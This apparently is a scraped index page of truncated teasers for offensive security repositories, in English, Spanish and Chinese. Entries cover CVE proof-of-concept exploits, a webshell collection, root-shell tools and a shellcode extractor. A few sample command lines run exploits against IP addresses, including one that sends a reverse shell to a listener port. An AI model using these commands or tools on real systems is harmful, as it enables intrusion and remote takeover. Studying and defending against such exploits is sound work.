EUVD-2026-77344

Affected versions of MISP’s interactive CLI shell implement access control independently from the normal web application, causing several authorization inconsistencies. The patch shows that CLI access could differ from the web application in multiple security-sensitive areas: - feed listings did...

Abyssal

🔥 Abyssal CVE-2026-24061 Telnet Vulnerability Scanner & Exploit From the depths, we rise. Multi-threaded, false-positive detection, interactive root shell on success. 👨‍💻 About the Author This project was built by an experienced IT professional with decades of hands-on work in network security,...

PinTheft-asm

pintheft-asm Reescribí PinTheft-go en asm x86-64 puro porque, ¿por qué no? root@kitploit: make ./pintheft Lanza un shell root. El comando de restauración se imprime al salir. Para más detalles → PoC original...

webshell

webshell | English | Türkiye Este es un proyecto de recopilación de webshells. Quien da una rosa se queda con el aroma en la mano; si descargan este proyecto, por favor, envíen también shells. Este proyecto incluye varios scripts de uso común. como: asp, aspx, php, jsp, pl, py Si envían webshells...

CVE-2026-40176-poc

CVE-2026-40176: PoC de Inyección de Comandos del Sistema Operativo en Composer Perforce English version Resumen Este repositorio es una Prueba de Concepto PoC para la vulnerabilidad crítica de inyección de comandos del sistema operativo CVE-2026-40176 en el controlador VCS de Perforce de Composer...

hikvision-unauthenticated-rce-cve-2021-36260

Vulnerabilidad RCE CVE-2021-36260 en Hikvision Descripción de la vulnerabilidad Un atacante puede aprovechar esta vulnerabilidad para obtener un control total del dispositivo mediante una shell root sin restricciones, incluso cuando el propietario del dispositivo está limitado a una shell protegi...

CVE-2026-4480-POC

CVE-2026-4480 - Ejecución Remota de Código en el Subsistema de Impresión de Samba Resumen Prueba de concepto y material de investigación relacionado con CVE-2026-4480 , una vulnerabilidad crítica de Ejecución Remota de Código RCE que afecta al subsistema de impresión de Samba. La vulnerabilidad e...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc Un POC independiente para CVE-2019-12840. A continuación, enviará una reverse shell en el puerto 443 root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | ...

CVE-2026-34234-Lab

CVE-2026-34234 - Laboratorio RCE del Instalador de CtrlPanel Laboratorio Docker local para demostrar CVE-2026-34234 en CtrlPanel. Este repositorio compara: vuln: CtrlPanel 1.1.1 fijado por digest patched: CtrlPanel 1.2.0 fijado por digest El laboratorio es solo local y vincula servicios a...

React2Shell-CTF

🛡️ React2Shell CTF 🚀 欢迎来到 React2Shell-CTF ，这是一个基于 Docker 的环境，旨在练习利用 React2Shell CVE-2025-55182 。 React2Shell 是一个影响基于 React 的应用程序的关键漏洞。此仓库提供了一个安全的、可本地部署的捕获旗帜 CTF 挑战，帮助您理解和缓解此缺陷。您能弹出反向 Shell 吗？ 🐚 ℹ️ 漏洞信息 有关 CVE-2025-55182 的完整技术说明，请访问官方信息网站： 👉 react2shell.com 👈 ⚠️ 免责声明 重要！继续前请阅读 本项目 严格 为教育和学习目的而创建。 🚫...

CVE-2019-9978

CVE-2019-9978 – Proof of Concept PoC Functional PoC for vulnerability CVE-2019-9978 , affecting the plugin Social Warfare = 3.5.2, allowing Remote Code Execution RCE in WordPress. 📌 Description This exploit abuses the swpdebug=loadoptions parameter to force the loading of a remote payload, allowi...

bin2shell

bin2shell bin2shell es una utilidad muy pequeña para extraer código shell del archivo binario root@kitploit: bash bin2shell.sh additionNum \x45\x6e\x74\x65\x72\x20\x4e\x75\x6d\x62\x65\x72\x20\x31\x20\x3a\x20\x45\x6e\x74\x65\x72\x20\x4e\x75\x6d GRACIAS TOUHID SHAIKH...

CVE-2026-24061

🚨 CVE-2026-24061 — “TelneTD” Bypass crítico de autenticación remota en GNU Inetutils telnetd El fantasma de 2015 ha vuelto para apoderarse de todo lo que todavía ejecuta telnet. Cero autenticación. Una variable de entorno. Shell root instantánea. ⚠️ Resumen CVE-2026-24061 es una vulnerabilidad...

CVE-2016-3714

CVE-2016-3714 Ejecución de código en ImageMagick CVE-2016-3714 imagickbuilder.py = Constructor de payloads simple para explotar CVE-2016-3714 imagickbypassshell.php = Web shell basada en PHP que aprovecha el wrapper de la extensión PHP imagick para evadir funciones deshabilitadas Algunas imágenes...

Shell-Shock

Shell Shock Autores : [email protected] Mantenedores : Departamento : DevOps Licencias : Resumen Shell Shock : Escalada de privilegios, ejecución remota de código Familia de fallos en el shell Bash de Unix. Permite la ejecución de comandos arbitrarios. Vectores de explotación Payloads agente...

EUVD-2026-77124

A Command Injection vulnerability exists in the bsSetLimitCliinfo function within the libshare.so library of the LB-LINK router AC1900AZ2 V1.0.2 via shell metacharacters, if the device is deployed in a scenario where an actor is able to make a "POST /goform/setLimitClientcfg" call but does not...

PrettyPrague

PrettyPrague GenDigital Avast Antivirus ZeroDay Elevation of Privileges Vulnerability Another zeroday in an antimalware provider, I'm not sure but I believe this vulnerability affect other GenDigital products as well such as AVG, Norton... For now the PoC is compatible with any version of Avast...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE Este es un exploit de CVE-2019-16278 para Nostromo 1.9.6 RCE. Este exploit permite RCE en la máquina víctima. Requisitos optparse socat sys Uso Puedes usar el exploit de la siguiente manera: root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80...

CVE-2025-55182

CVE-2025-55182 React2Shell Exploit Kit 🎯 Complete Working Exploit Demonstration This project provides a fully functional demonstration of CVE-2025-55182 React2Shell - a critical Remote Code Execution vulnerability in React Server Components and Next.js. Status: ✅ WORKING - Achieves actual command...

CVE-2026-48172

📚 Educational Security Research Repository A repository for learning, testing, and researching cybersecurity concepts in controlled environments. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authoriz...